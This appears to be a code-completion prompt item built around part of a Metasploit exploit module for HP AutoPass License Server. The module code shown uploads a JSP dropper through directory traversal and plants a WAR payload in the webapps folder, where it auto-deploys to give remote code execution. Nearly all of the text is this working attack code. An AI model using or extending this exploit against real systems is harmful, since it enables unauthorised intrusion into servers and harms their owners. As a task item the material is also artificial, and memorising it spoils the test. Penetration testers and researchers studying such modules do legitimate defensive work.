You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: hp_autopass_license_traversal.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-fra
    
  def exploit
    app_base = rand_text_alphanumeric(4+rand(32-4))
    war = payload.encoded_war({ :app_name => app_base }).to_s
    war_filename = "#{app_base}.war"

    # By default, the working directory when executing the JSP is:
    # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\bin
    # The war should be dropped to the next location to autodeploy:
    # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps
    war_traversal = webapps_traversal
    war_traversal << "webapps/#{war_filename}"
    dropper = jsp_drop_bin(war, war_traversal)
    dropper_filename = rand_text_alpha(8) + ".jsp"

    print_status("Uploading the JSP dropper #{dropper_filename}...")
    # The JSP, by default, is uploaded to:
    # C:\Program Files\HP\HP AutoPass License Server\AutoPass\LicenseServer\conf\pdfiles\
    # In order to execute it, through the AutoPass application we would like to drop it here:
    # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps\autopass\scripts
    dropper_traversal = install_traversal
    dropper_traversal << "#{install_folder}/webapps/autopass/scripts/#{dropper_filename}"

    res = upload_file(dropper_traversal, dropper)

    register_files_for_cleanup("#{webapps_traversal}webapps/autopass/scripts/#{dropper_filename}")
    register_files_for_cleanup("#{webapps_traversal}webapps/#{war_filename}")

    unless res && res.code == 500 &&
           res.body.to_s.include?("HP AutoPass License Server") &&
           res.body.to_s.include?("java.lang.NullPointerException") &&
           res.body.to_s.include?("com.hp.autopass")

      print_error("Unexpected response... upload maybe failed, trying anyway...")
    end